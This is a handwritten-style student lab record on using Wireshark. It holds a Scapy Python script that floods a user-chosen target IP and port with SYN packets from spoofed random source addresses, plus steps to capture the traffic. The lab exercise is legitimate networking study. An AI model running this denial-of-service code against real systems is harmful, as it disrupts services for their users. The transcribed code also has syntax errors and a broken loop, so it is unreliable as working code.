Date :

E9 Using Wireshark Packet Capturing Tool

Page No. : 27
Expt. No. : 9

Aim

To generate TCP Syn Flood attack on given IP capturing suspicious packets transmitted to the given IP address using Wireshark

Procedure

1) Use a suitable python compiler, and also run wireshark

2) Debug and Run the foll code:-

```
from scapy.all import *
import sys
import random

def randomIP():
    ip = ".".join(map(str, (random.randint(0,255) for _ in range(4))))
    return ip

def randInt():
    x = random.randint(10000, 65000)
    return x

def SYN_Flood(dstIP,dstPort, counter):
    total=0
    print("Packets are sending ...")
    s_port = randInt()
    s_eq = randInt()
    w_indow = randInt()

    IP_Packet=IP()
    IP_Packet.src= randomIP()
    IP_Packet.dst =dstIP
```

Teacher's Signature:

Date :

Page No. :

Expt. No. :

```
TCP_Packet = TCP()
TCP_Packet.sport = s_port
TCP_Packet.dport = dstPort
TCP_Packet.flags = "S"
TCP_Packet.seq = s_eq
TCP_Packet.window = w_indow

send (IP_Packet/TCP_Packet, verbose = 0)
total += 1
sys.stdout.write("\nTotal packets sent: %i\n" %.total)


def info()
    dstIP = input("\nTargetIP: ")
    dstPort = int(input("Target Port: "))
    return dstIP, int(dstPort)

def main()
    dstIP, dstPort = info()
    Counter = int(input("How many packets to send: "))
    SYN_Flood(dstIP, dstPort, counter)

main()
```

3) Input IP, Port and Packets.

4) Analyse the O/P in wireshark [Capturing].

Result

Successfully used wireshark packet capturing tool and analysed Packets

Teacher's Signature: